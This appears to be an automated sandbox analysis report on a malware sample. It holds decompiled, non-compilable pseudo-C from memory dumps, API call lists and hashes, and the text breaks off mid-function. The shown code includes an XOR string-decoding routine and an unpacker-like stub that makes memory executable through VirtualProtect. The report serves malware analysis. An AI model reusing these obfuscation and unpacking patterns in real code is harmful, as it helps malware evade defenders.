			E100079E0(void* __ebx, void* __ecx, void* __edi, intOrPtr _a4, void* _a12, int _a16) {
				signed int _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v28;
				signed int _t45;
				unsigned int _t47;
				void* _t63;
				void* _t64;
				intOrPtr _t66;
				void* _t68;
				signed int _t77;
				void* _t79;
				signed int _t80;
				void* _t81;
				void* _t84;
				intOrPtr _t89;
				signed int _t93;
				void* _t94;
				void* _t96;
				void* _t100;
				void* _t105;

				_t68 = __ecx;
				_v20 = _a12;
				_t80 =  *(__ecx + 0x10);
				_t89 = _a4;
				_v8 = _t80;
				if(0x7fffffff - _t80 < _t89) {
					L10007BD0(0x7fffffff);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("xorps xmm0, xmm0");
					 *0x7fffffff = 0x1000a278;
					asm("movq [eax], xmm0");
					__imp____std_exception_copy(_v28 + 4, 0x80000003, _t89);
					 *0x7fffffff = 0x1000a720;
					return 0x7fffffff;
				} else {
					_t84 =  *(__ecx + 0x14);
					_t45 = _t80 + _t89;
					_v12 = _t45;
					_t93 = _t45 | 0x0000000f;
					_v16 = _t84;
					_t105 = _t93 - 0x7fffffff;
					if(_t105 <= 0) {
						_t47 = _t84 >> 1;
						if(_t84 <= 0x7fffffff - _t47) {
							_t94 =  <  ? _t84 + _t47 : _t93;
						} else {
							_t94 = 0x7fffffff;
						}
					} else {
						_t94 = 0x7fffffff;
					}
					_t77 =  ~(0 | _t105 > 0x00000000) | _t94 + 0x00000001;
					if(_t77 < 0x1000) {
						if(_t77 == 0) {
							_t84 = 0;
						} else {
							_push(_t77); // executed
							_t63 = E1000829F(_t80); // executed
							_t80 = _v8;
							_t100 = _t100 + 4;
							_t84 = _t63;
						}
						goto L12;
					} else {
						_t12 = _t77 + 0x23; // 0x23
						_t64 = _t12;
						_t65 =  <=  ? _t80 | 0xffffffff : _t64;
						_push( <=  ? _t80 | 0xffffffff : _t64);
						_t66 = E1000829F(_t80 | 0xffffffff);
						_t100 = _t100 + 4;
						if(_t66 == 0) {
							L17:
							__imp___invalid_parameter_noinfo_noreturn();
							goto L18;
						} else {
							_t80 = _v8;
							_t14 = _t66 + 0x23; // 0x23
							_t84 = _t14 & 0xffffffe0;
							 *((intOrPtr*)(_t84 - 4)) = _t66;
							L12:
							 *((intOrPtr*)(_t68 + 0x10)) = _v12;
							 *(_t68 + 0x14) = _t94;
							_t94 = _t84 + _t80;
							_v12 = _t94;
							_v8 = _t94 + _a16;
							_push(_t80);
							if(_v16 < 0x10) {
								L18:
								memcpy(_t84, _t68, ??);
								memcpy(_t94, _v20, _a16);
								 *_v8 = 0;
								 *_t68 = _t84;
								return _t68;
							} else {
								_t96 =  *_t68;
								memcpy(_t84, _t96, ??);
								memcpy(_v12, _v20, _a16);
								_t60 = _v8;
								_t100 = _t100 + 0x18;
								_t79 = _v16 + 1;
								 *_v8 = 0;
								if(_t79 < 0x1000) {
									L16:
									_push(_t79);
									E10008291(_t60, _t96); // executed
									 *_t68 = _t84;
									return _t68;
								} else {
									_t81 =  *(_t96 - 4);
									_t79 = _t79 + 0x23;
									_t94 = _t96 - _t81;
									_t31 = _t94 - 4; // 0x7ffffffb
									_t60 = _t31;
									if(_t31 > 0x1f) {
										goto L17;
									} else {
										_t96 = _t81;
										goto L16;
									}
								}
							}
						}
					}
				}
			}

APIs

memcpy.VCRUNTIME140(00000000,7FFFFFFF,?,?,?), ref: 10007AB4
memcpy.VCRUNTIME140(?,?,?,00000000,7FFFFFFF,?,?,?), ref: 10007AC2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?), ref: 10007B05
memcpy.VCRUNTIME140(00000000,?,?,?,?), ref: 10007B0D
memcpy.VCRUNTIME140(7FFFFFFF,?,?,00000000,?,?,?,?), ref: 10007B19

Part of subcall function 1000829F: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,10007CA0,00000000,10003B99,?,?,?,?,10003B99,00000000,00000001), ref: 100082B4

__std_exception_copy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 10007B5E

Memory Dump Source

Source File: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.873318832.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: memcpy$__std_exception_copy_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1641563893-0
Opcode ID: adef534aaa623e436410ebd07323c0b204dafedf34f2a00fc803af6d006fa589
Instruction ID: f0c3ff920eb130816d279007870dc046969c946a1f261a68b479d05809706774
Opcode Fuzzy Hash: adef534aaa623e436410ebd07323c0b204dafedf34f2a00fc803af6d006fa589
Instruction Fuzzy Hash: 69411532E00115AFEB15DF6CCC8069EB7A5FF85290B144269F909EB345E730AE518BD1

Uniqueness

Uniqueness Score: -1.00%

Function 1000829F, Relevance: 6.0, APIs: 4, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E1000829F(signed char __edx, int _a4) {
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed char _v44;
				signed int _v48;
				void* _t51;
				signed int _t67;
				signed int _t70;
				signed int _t71;
				intOrPtr _t73;
				signed int _t75;
				intOrPtr _t82;
				intOrPtr* _t84;
				signed char _t85;
				intOrPtr* _t87;
				signed char _t97;
				intOrPtr* _t99;
				signed int _t102;
				signed int _t105;
				void* _t111;
				void* _t112;
				void* _t114;

				_t97 = __edx;
				while(1) {
					_t51 = malloc(_a4); // executed
					if(_t51 != 0) {
						return _t51;
					}
					_push(_a4);
					L1000924B();
					if(_t51 == 0) {
						if(_a4 != 0xffffffff) {
							_push(_t111);
							_t111 = _t114;
							_t114 = _t114 - 0xc;
							E10008CDE( &_v20);
							_push(0x1000b774);
							_push( &_v20);
							L10009233();
							asm("int3");
						}
						_push(_t111);
						_t112 = _t114;
						E10008D11( &_v20);
						_push(0x1000b7ac);
						_push( &_v20);
						L10009233();
						asm("int3");
						_push(_t112);
						 *0x1000d598 =  *0x1000d598 & 0x00000000;
						 *0x1000d00c =  *0x1000d00c | 1;
						if(IsProcessorFeaturePresent(0xa) != 0) {
							_v28 = _v28 & 0x00000000;
							 *0x1000d00c =  *0x1000d00c | 0x00000002;
							 *0x1000d598 = 1;
							_t99 =  &_v48;
							_push(1);
							asm("cpuid");
							_pop(_t82);
							 *_t99 = 0;
							 *((intOrPtr*)(_t99 + 4)) = 1;
							 *((intOrPtr*)(_t99 + 8)) = 0;
							 *(_t99 + 0xc) = _t97;
							_v24 = _v48;
							_v20 = _v36 ^ 0x49656e69;
							_v16 = _v44 ^ 0x756e6547;
							_push(1);
							asm("cpuid");
							_t84 =  &_v48;
							 *_t84 = 1;
							 *((intOrPtr*)(_t84 + 4)) = _t82;
							 *((intOrPtr*)(_t84 + 8)) = 0;
							 *(_t84 + 0xc) = _t97;
							if((_v16 | _v40 ^ 0x6c65746e | _v20) != 0) {
								L17:
								_t102 =  *0x1000d59c; // 0x2
							} else {
								_t75 = _v48 & 0x0fff3ff0;
								if(_t75 == 0x106c0 || _t75 == 0x20660 || _t75 == 0x20670 || _t75 == 0x30650 || _t75 == 0x30660 || _t75 == 0x30670) {
									_t105 =  *0x1000d59c; // 0x2
									_t102 = _t105 | 0x00000001;
									 *0x1000d59c = _t102;
								} else {
									goto L17;
								}
							}
							_t67 = _v40;
							_v16 = _t67;
							if(_v24 < 7) {
								_t85 = _v28;
							} else {
								_t73 = 7;
								_push(_t84);
								asm("cpuid");
								_t87 =  &_v48;
								 *_t87 = _t73;
								_t67 = _v16;
								 *((intOrPtr*)(_t87 + 4)) = _t84;
								 *((intOrPtr*)(_t87 + 8)) = 0;
								 *(_t87 + 0xc) = _t97;
								_t85 = _v44;
								if((_t85 & 0x00000200) != 0) {
									 *0x1000d59c = _t102 | 0x00000002;
								}
							}
							if((_t67 & 0x00100000) != 0) {
								 *0x1000d00c =  *0x1000d00c | 0x00000004;
								 *0x1000d598 = 2;
								if((_t67 & 0x08000000) != 0 && (_t67 & 0x10000000) != 0) {
									asm("xgetbv");
									_v32 = _t67;
									_v28 = _t97;
									if((_v32 & 0x00000006) == 6) {
										_t70 =  *0x1000d00c; // 0x2f
										_t71 = _t70 | 0x00000008;
										 *0x1000d598 = 3;
										 *0x1000d00c = _t71;
										if((_t85 & 0x00000020) != 0) {
											 *0x1000d598 = 5;
											 *0x1000d00c = _t71 | 0x00000020;
										}
									}
								}
							}
						}
						return 0;
					} else {
						continue;
					}
					break;
				}
			}

APIs

_callnewh.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,10007CA0,00000000,10003B99,?,?,?,?,10003B99,00000000,00000001), ref: 100082A7
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,10007CA0,00000000,10003B99,?,?,?,?,10003B99,00000000,00000001), ref: 100082B4
_CxxThrowException.VCRUNTIME140(10003B99,1000B774,10003B99), ref: 10008D7E
_CxxThrowException.VCRUNTIME140(10003B99,1000B7AC,10003B99), ref: 10008D9B

Memory Dump Source

Source File: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.873318832.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionThrow$_callnewhmalloc
String ID:
API String ID: 4113974480-0
Opcode ID: e038fc9c4bf557aaabccf91a251ecacc626a1b111a992e11d43ee22dfca7c3bf
Instruction ID: b4c962d27dd8c0a0cdcc4a11a3a4f5d3b823fce3480cc4f90ae7c20ef3137624
Opcode Fuzzy Hash: e038fc9c4bf557aaabccf91a251ecacc626a1b111a992e11d43ee22dfca7c3bf
Instruction Fuzzy Hash: C8F0543880460DB6AF04EAA4EC4699D776CEF002D0F504221B954954D9EF70FB5586D1

Uniqueness

Uniqueness Score: -1.00%

Function 100019B0, Relevance: 3.2, APIs: 2, Instructions: 159
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E100019B0(intOrPtr* __ecx, void* __edx, void* __eflags, char _a4, char _a20, intOrPtr _a24, char _a28, signed int _a44, intOrPtr _a48) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v24;
				char _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				int _v40;
				char _v56;
				intOrPtr* _v60;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t64;
				intOrPtr _t72;
				intOrPtr _t86;
				intOrPtr _t87;
				intOrPtr* _t91;
				intOrPtr* _t95;
				char _t100;
				char _t101;
				intOrPtr _t105;
				int _t106;
				void* _t108;
				intOrPtr _t110;
				intOrPtr _t111;
				void* _t112;
				void* _t113;
				signed int _t118;
				intOrPtr _t120;
				void* _t121;
				char _t124;
				signed int _t125;
				void* _t126;
				void* _t127;

				_push(0xffffffff);
				_push(E10009431);
				_push( *[fs:0x0]);
				_t127 = _t126 - 0x2c;
				_t64 =  *0x1000d004; // 0xa8dded82
				_push(_t64 ^ _t125);
				 *[fs:0x0] =  &_v16;
				_t95 = __ecx;
				_v24 = __ecx;
				_v60 = __ecx;
				_v28 = 0;
				_v8 = 2;
				 *((intOrPtr*)(__ecx + 0x10)) = 0;
				 *((intOrPtr*)(__ecx + 0x14)) = 0xf;
				 *((char*)(__ecx)) = 0;
				E10006CC0(__ecx, __ecx, __edx, 0x1000a2e5, 0);
				_t118 = 0;
				_v28 = 1;
				_v20 = 0;
				if(_a20 <= 0) {
					L11:
					_t110 = _a24;
					if(_t110 < 0x10) {
						L15:
						_t111 = _a48;
						_a20 = 0;
						_a24 = 0xf;
						_a4 = 0;
						if(_t111 >= 0x10) {
							_t100 = _a28;
							_t112 = _t111 + 1;
							_t69 = _t100;
							if(_t112 >= 0x1000) {
								_t100 =  *((intOrPtr*)(_t100 - 4));
								_t112 = _t112 + 0x23;
								if(_t69 > 0x1f) {
									goto L18;
								}
							}
							goto L19;
						}
					} else {
						_t101 = _a4;
						_t113 = _t110 + 1;
						_t72 = _t101;
						if(_t113 < 0x1000) {
							L14:
							_push(_t113);
							E10008291(_t72, _t101); // executed
							_t127 = _t127 + 8;
							goto L15;
						} else {
							_t55 = _t101 - 4; // 0xffffd46a
							_t100 =  *_t55;
							_t112 = _t113 + 0x23;
							_t69 = _t72 - _t100 + 0xfffffffc;
							if(_t72 - _t100 + 0xfffffffc > 0x1f) {
								goto L18;
							} else {
								goto L14;
							}
						}
					}
				} else {
					do {
						_v40 = 0;
						_v36 = 0xf;
						_v56 = 0;
						_t103 =  >=  ? _a4 :  &_a4;
						_t78 =  >=  ? _a28 :  &_a28;
						E10006B80(_t95,  &_v56, _t118 % _a44, 1, ( *(( >=  ? _a28 :  &_a28) + _t118 % _a44) ^  *(( >=  ? _a4 :  &_a4) + _t118)) & 0x000000ff);
						_v8 = 3;
						_t105 =  *((intOrPtr*)(_t95 + 0x10));
						_t124 = _v56;
						_t112 =  >=  ? _t124 :  &_v56;
						_v32 = _t105;
						_t106 = _v40;
						if(_t106 >  *((intOrPtr*)(_t95 + 0x14)) - _t105) {
							_push(_t106);
							_push(_t112);
							_v24 = 0;
							_push(_v24);
							E100079E0(_t95, _t95, _t118, _t106); // executed
							_t124 = _v56;
						} else {
							_t120 = _v32;
							 *((intOrPtr*)(_t95 + 0x10)) = _t106 + _t120;
							_t91 = _t95;
							if( *((intOrPtr*)(_t95 + 0x14)) >= 0x10) {
								_t91 =  *_t95;
							}
							_t121 = _t120 + _t91;
							memmove(_t121, _t112, _t106);
							_t127 = _t127 + 0xc;
							 *((char*)(_t121 + _v40)) = 0;
							_t118 = _v20;
						}
						_v8 = 2;
						_t86 = _v36;
						if(_t86 < 0x10) {
							goto L10;
						} else {
							_t49 = _t86 + 1; // 0x11
							_t108 = _t49;
							_t87 = _t124;
							if(_t108 < 0x1000) {
								L9:
								_push(_t108);
								E10008291(_t87, _t124);
								_t127 = _t127 + 8;
								goto L10;
							} else {
								_t124 =  *((intOrPtr*)(_t124 - 4));
								_t100 = _t108 + 0x23;
								_t69 = _t87 - _t124 + 0xfffffffc;
								if(_t87 - _t124 + 0xfffffffc > 0x1f) {
									L18:
									__imp___invalid_parameter_noinfo_noreturn();
									L19:
									_push(_t112);
									E10008291(_t69, _t100);
								} else {
									goto L9;
								}
							}
						}
						goto L20;
						L10:
						_t118 = _t118 + 1;
						_v20 = _t118;
					} while (_t118 < _a20);
					goto L11;
				}
				L20:
				 *[fs:0x0] = _v16;
				return _t95;
			}

0x100019b3
0x100019b5
0x100019c0
0x100019c1
0x100019c7
0x100019ce
0x100019d2
0x100019d8
0x100019da
0x100019dd
0x100019e0
0x100019e7
0x100019f0
0x100019f7
0x10001a03
0x10001a06
0x10001a0b
0x10001a0d
0x10001a14
0x10001a1a
0x10001b06
0x10001b06
0x10001b0c
0x10001b36
0x10001b36
0x10001b39
0x10001b40
0x10001b47
0x10001b4e
0x10001b50
0x10001b53
0x10001b54
0x10001b5c
0x10001b5e
0x10001b61
0x10001b6c
0x00000000
0x00000000
0x10001b6c
0x00000000
0x10001b5c
0x10001b0e
0x10001b0e
0x10001b11
0x10001b12
0x10001b1a
0x10001b2c
0x10001b2c
0x10001b2e
0x10001b33
0x00000000
0x10001b1c
0x10001b1c
0x10001b1c
0x10001b1f
0x10001b24
0x10001b2a
0x00000000
0x00000000
0x00000000
0x00000000
0x10001b2a
0x10001b1a
0x10001a20
0x10001a20
0x10001a22
0x10001a2b
0x10001a3f
0x10001a43
0x10001a4b
0x10001a5e
0x10001a63
0x10001a6e
0x10001a71
0x10001a74
0x10001a7c
0x10001a7f
0x10001a84
0x10001ab2
0x10001ab3
0x10001ab4
0x10001ab8
0x10001abe
0x10001ac3
0x10001a86
0x10001a8a
0x10001a90
0x10001a93
0x10001a95
0x10001a97
0x10001a97
0x10001a9a
0x10001a9e
0x10001aa6
0x10001aa9
0x10001aad
0x10001aad
0x10001ac6
0x10001aca
0x10001ad0
0x00000000
0x10001ad2
0x10001ad2
0x10001ad2
0x10001ad5
0x10001add
0x10001aef
0x10001aef
0x10001af1
0x10001af6
0x00000000
0x10001adf
0x10001adf
0x10001ae2
0x10001ae7
0x10001aed
0x10001b6e
0x10001b6e
0x10001b74
0x10001b74
0x10001b76
0x00000000
0x00000000
0x00000000
0x10001aed
0x10001add
0x00000000
0x10001af9
0x10001af9
0x10001afa
0x10001afd
0x00000000
0x10001a20
0x10001b7e
0x10001b83
0x10001b91

APIs

Part of subcall function 10006CC0: memmove.VCRUNTIME140(?,00000000,10003B99,00000001,768016E0,?,10003B99,00000000,00000001), ref: 10006CED

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(1000A2E5,00000000,A8DDED82,?,?), ref: 10001B6E

Part of subcall function 10006B80: memset.VCRUNTIME140(00000010,?,00000010,00000000,?,?,?), ref: 10006BB0

memmove.VCRUNTIME140(00000010,00000010,00000000,00000001,?,?,1000A2E5,00000000,A8DDED82,?), ref: 10001A9E

Memory Dump Source

Source File: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.873318832.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: memmove$_invalid_parameter_noinfo_noreturnmemset
String ID:
API String ID: 1392643149-0
Opcode ID: 2b9408af946e82bfefe03233f9b1e385e59e4ad5ac968767e51173a9f280bec9
Instruction ID: f9f5037142318ef2ce380c026498a4077308a4dea4be1e43fae07ea6f113fd3e
Opcode Fuzzy Hash: 2b9408af946e82bfefe03233f9b1e385e59e4ad5ac968767e51173a9f280bec9
Instruction Fuzzy Hash: 2951D270A001499FEB04CF58CD84BDEBBF6FF49384F604169F845A7289D779AA84CB91

Uniqueness

Uniqueness Score: -1.00%

Function 043A1313, Relevance: 3.1, APIs: 2, Instructions: 77
memoryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E043A1313(signed int __ebx, void* __ecx, signed int __edx, signed int __edi, void* __eflags) {
				void* __esi;
				void* _t32;
				signed int _t33;
				int _t34;
				void* _t35;
				void* _t36;
				signed int _t38;
				signed int _t39;
				void* _t41;
				void* _t42;
				void* _t43;
				void* _t46;
				signed int _t47;
				signed int _t50;
				signed int _t55;
				signed int _t58;
				void* _t61;
				void* _t62;
				void* _t63;
				signed int _t65;
				signed int _t66;
				void* _t70;
				signed int* _t72;
				signed int* _t73;

				_t58 = __edi;
				_t55 = __edx;
				_t43 = __ecx;
				_t38 = __ebx;
				_t33 = E043A181E(_t32, __ebx, __ecx, __edi);
				_t65 = _t38 | _t38;
				_t39 = _t65;
				_t66 = _t63;
				if(_t65 != 0) {
					_t33 = VirtualAlloc(0,  *(_t39 + 0x41b098), 0x1000, 4);
				}
				 *_t3 = _t33;
				 *(_t39 + 0x41b39c) = 2;
				 *(_t39 + 0x41b2a7) =  *(_t39 + 0x41b2a7) & 0x00000000;
				 *(_t39 + 0x41b2a7) =  *(_t39 + 0x41b2a7) | _t43 -  *_t72 | _t33;
				_t46 = _t43;
				if( *(_t39 + 0x41b1df) > 0) {
					_t33 = VirtualProtect( *(_t39 + 0x41b1df),  *(_t39 + 0x41bba2), 0x40, _t39 + 0x41b39c);
				}
				if(_t33 != _t39) {
					_t33 = E043A18A7(_t39, _t46, _t55, _t58, _t66,  *((intOrPtr*)(_t39 + 0x41b9dc)),  *((intOrPtr*)(_t39 + 0x41bc2d)));
				}
				 *_t17 =  *(_t39 + 0x41bba2);
				_t47 =  *((intOrPtr*)(_t70 - 4));
				_t50 = _t47;
				_t41 = _t58 & 0x00000000 ^ _t47 ^  *_t72 ^  *(_t39 + 0x41b1df) | _t58 & 0x00000000 ^ _t47 ^  *_t72 ^  *(_t39 + 0x41b1df);
				_t61 = _t41;
				_t42 = _t39;
				if(_t41 != 0) {
					_t33 = E043A344C(_t33, _t42, _t50, _t55, _t61, _t66, _t61);
				}
				 *_t72 =  *_t72 ^ _t33;
				_t34 = _t33;
				_t35 = memset(_t61, _t34, _t50 << 0);
				_t73 =  &(_t72[3]);
				_t62 = _t61 + _t50;
				if( *((intOrPtr*)(_t42 + 0x41bc2d)) != _t42) {
					_t36 = E043A28A5(_t42, 0, _t55, _t62, _t66,  *((intOrPtr*)(_t42 + 0x41bc2d))); // executed
					_t35 = E043A3607(_t36, _t42, _t55, _t62, _t66,  *((intOrPtr*)(_t42 + 0x41bc2d)));
				}
				_push(_t66);
				 *((intOrPtr*)(_t70 - 4)) = 0;
				 *(_t70 + 4) =  *(_t70 + 4) & 0x00000000;
				 *(_t70 + 4) =  *(_t70 + 4) | 0x0 -  *((intOrPtr*)(_t70 - 4)) ^ (_t55 & 0x00000000 | _t66 ^  *_t73 ^  *(_t42 + 0x41bb25));
				asm("popad");
				return _t35;
			}

0x043a1313
0x043a1313
0x043a1313
0x043a1313
0x043a1313
0x043a131b
0x043a131d
0x043a131f
0x043a1320
0x043a1331
0x043a1331
0x043a1338
0x043a133e
0x043a134e
0x043a1355
0x043a135b
0x043a1363
0x043a137a
0x043a137a
0x043a1382
0x043a1390
0x043a1390
0x043a139b
0x043a13a1
0x043a13b1
0x043a13b5
0x043a13b7
0x043a13b9
0x043a13ba
0x043a13bd
0x043a13bd
0x043a13c3
0x043a13c6
0x043a13c7
0x043a13c7
0x043a13c7
0x043a13cf
0x043a13d7
0x043a13e2
0x043a13e2
0x043a13e7
0x043a13f7
0x043a13ff
0x043a1403
0x043a1409
0x043a140b

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 043A1331
VirtualProtect.KERNEL32(?,?,00000040,?,00000000), ref: 043A137A

Memory Dump Source

Source File: 00000003.00000002.872769981.00000000043A0000.00000040.00000001.sdmp, Offset: 043A0000, based on PE: true

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: ad3e9e191640d8f17585186ff85a764063504bfb5ddd7cc463d2a8a0e43b4edb
Instruction ID: 2c7766793a2592b46739f38bb5980d6ce0a9dd0f9bfa5429e4b580ce196a8a03
Opcode Fuzzy Hash: ad3e9e191640d8f17585186ff85a764063504bfb5ddd7cc463d2a8a0e43b4edb
Instruction Fuzzy Hash: 2D219772554100EFFF059FA0C8D5BE97BA5EF08300F1940AEED4D6E199CB7129309BA8

Uniqueness

Uniqueness Score: -1.00%

Function 10005A50, Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(000000FF,10003926,500), ref: 10005A95

Memory Dump Source

Source File: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.873318832.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 05d8cc567075fa4cca34aef6b35e33629475e35b1f29f12d4c5f742ac0e3aa1f
Instruction ID: f35b8ef44ac98efcae035745409a3915699dfed8448f8f192f189fc7dce85187
Opcode Fuzzy Hash: 05d8cc567075fa4cca34aef6b35e33629475e35b1f29f12d4c5f742ac0e3aa1f
Instruction Fuzzy Hash: 34E065716106114BF338CF28E8C876A7796EF46391F540B5CE0C28BA99D77999C44751

Uniqueness

Uniqueness Score: -1.00%

Function 10001060, Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.VCRUNTIME140(?,?), ref: 1000107E

Memory Dump Source

Source File: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.873318832.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: __std_exception_copy
String ID:
API String ID: 592178966-0
Opcode ID: ae3b1d40aec20912bb2876a67e38c359ef8a5e1f5a6b43aa3e8889a91619a52a
Instruction ID: 177e573ec63202b5c824ebc70269ed67dcf0f06d15f3e82209c6494bbdaedddd
Opcode Fuzzy Hash: ae3b1d40aec20912bb2876a67e38c359ef8a5e1f5a6b43aa3e8889a91619a52a
Instruction Fuzzy Hash: 26D05E729202189BD600DF9CDC44986B79CDF176957448336F604E7200E6B1E9D087A4

Uniqueness

Uniqueness Score: -1.00%

Function 10005880, Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10005880(void* __eflags) {
				void* _t3;
				void* _t4;
				void* _t5;

				E10003B10(_t3, _t4, _t5); // executed
				return 0;
			}

0x10005880
0x10005887

Memory Dump Source

Source File: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.873318832.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: getenv$ComputerNameSleepsignal
String ID:
API String ID: 4057079501-0
Opcode ID: fd48d421362ee78bdf9fb19e7fbfb9c32913889febecf3832a348e695c0b5d8f
Instruction ID: 212ce0c50725b5cac99891dc692dfaa2d95a475dc0e1655ce306eef6e3c1829f
Opcode Fuzzy Hash: fd48d421362ee78bdf9fb19e7fbfb9c32913889febecf3832a348e695c0b5d8f
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 10006270, Relevance: 13.7, APIs: 9, Instructions: 227
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E10006270(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				char _v8;
				char _v16;
				signed int _v20;
				signed int _v21;
				intOrPtr _v28;
				char _v32;
				signed int _v48;
				char _v52;
				char _v56;
				char _v60;
				signed int _t80;
				signed int _t81;
				signed int _t83;
				struct _IO_FILE* _t85;
				signed int _t87;
				signed int _t89;
				signed char _t92;
				void* _t101;
				int _t105;
				intOrPtr _t108;
				intOrPtr _t109;
				void* _t124;
				void* _t127;
				signed char _t128;
				signed int _t133;
				intOrPtr _t136;
				intOrPtr _t140;
				signed int _t141;
				intOrPtr _t142;
				void* _t143;
				intOrPtr _t144;
				char* _t149;
				intOrPtr* _t152;
				signed char* _t153;
				void* _t156;
				void* _t160;
				signed int _t162;
				signed int _t163;
				void* _t169;
				intOrPtr _t170;
				signed int _t171;
				void* _t172;
				void* _t173;
				void* _t174;

				_push(0xffffffff);
				_push(E10009888);
				_push( *[fs:0x0]);
				_t173 = _t172 - 0x2c;
				_t80 =  *0x1000d004; // 0xa8dded82
				_t81 = _t80 ^ _t171;
				_v20 = _t81;
				_push(_t81);
				 *[fs:0x0] =  &_v16;
				_t124 = __ecx;
				_t83 =  *(__ecx + 0x1c);
				_t127 =  *_t83;
				if(_t127 == 0) {
					L3:
					if( *(_t124 + 0x4c) != 0) {
						_t162 =  *(_t124 + 0xc);
						if( *_t162 == _t124 + 0x3c) {
							_t140 =  *((intOrPtr*)(_t124 + 0x50));
							 *_t162 = _t140;
							 *((intOrPtr*)( *((intOrPtr*)(_t124 + 0x1c)))) = _t140;
							 *((intOrPtr*)( *((intOrPtr*)(_t124 + 0x2c)))) =  *((intOrPtr*)(_t124 + 0x54)) - _t140;
						}
						_t85 =  *(_t124 + 0x4c);
						if( *((intOrPtr*)(_t124 + 0x38)) != 0) {
							_v32 = 0;
							_v28 = 0xf;
							_v48 = 0;
							_v8 = 0;
							_t128 = fgetc(_t85);
							_t174 = _t173 + 4;
							if(_t128 == 0xffffffff) {
								L25:
								_t163 = _t162 | 0xffffffff;
							} else {
								_t156 = _t124 + 0x40;
								while(1) {
									_t144 = _v32;
									if(_v28 - _t144 < 1) {
										_push(_t128);
										_v60 = 0;
										E10007880(_t124,  &_v48, _t156, 1, _v60, 1);
									} else {
										_t25 = _t144 + 1; // 0x1
										_v32 = _t25;
										_t117 =  >=  ? _v48 :  &_v48;
										_t149 = _t144 + ( >=  ? _v48 :  &_v48);
										 *_t149 = _t128 << 0x00000008 | _t128 & 0x000000ff;
										 *((char*)(_t149 + 1)) = 0;
									}
									_t162 =  >=  ? _v48 :  &_v48;
									_t146 =  >=  ? _v48 :  &_v48;
									_t101 = _v32 + _t162;
									__imp__?in@?$codecvt@DDU_Mbstatet@@@std@@QBEHAAU_Mbstatet@@PBD1AAPBDPAD3AAPAD@Z(_t156,  >=  ? _v48 :  &_v48, _t101,  &_v52,  &_v21,  &_v20,  &_v56);
									if(_t101 < 0) {
										goto L25;
									}
									if(_t101 <= 1) {
										if(_v56 !=  &_v21) {
											_t104 =  >=  ? _v48 :  &_v48;
											_t136 = _v52;
											_t169 = _v32 - _t136 + ( >=  ? _v48 :  &_v48);
											if(_t169 > 0) {
												asm("o16 nop [eax+eax]");
												while(1) {
													_t105 =  *((char*)(_t169 + _t136 - 1));
													_t169 = _t169 - 1;
													ungetc(_t105,  *(_t124 + 0x4c));
													_t174 = _t174 + 8;
													if(_t169 <= 0) {
														goto L35;
													}
													_t136 = _v52;
												}
											}
											L35:
											_t163 = _v21 & 0x000000ff;
										} else {
											_t107 =  >=  ? _v48 :  &_v48;
											_t159 = _v52 - ( >=  ? _v48 :  &_v48);
											_t108 = _v32;
											_t160 =  <  ? _t108 : _v52 - ( >=  ? _v48 :  &_v48);
											_t148 =  >=  ? _v48 :  &_v48;
											_t109 = _t108 - _t160;
											_v32 = _t109;
											memmove( >=  ? _v48 :  &_v48, ( >=  ? _v48 :  &_v48) + _t160, _t109 + 1);
											_t174 = _t174 + 0xc;
											_t156 = _t124 + 0x40;
											goto L24;
										}
									} else {
										if(_t101 != 3) {
											goto L25;
										} else {
											if(_v32 < 1) {
												L24:
												_t128 = fgetc( *(_t124 + 0x4c));
												_t174 = _t174 + 4;
												if(_t128 != 0xffffffff) {
													continue;
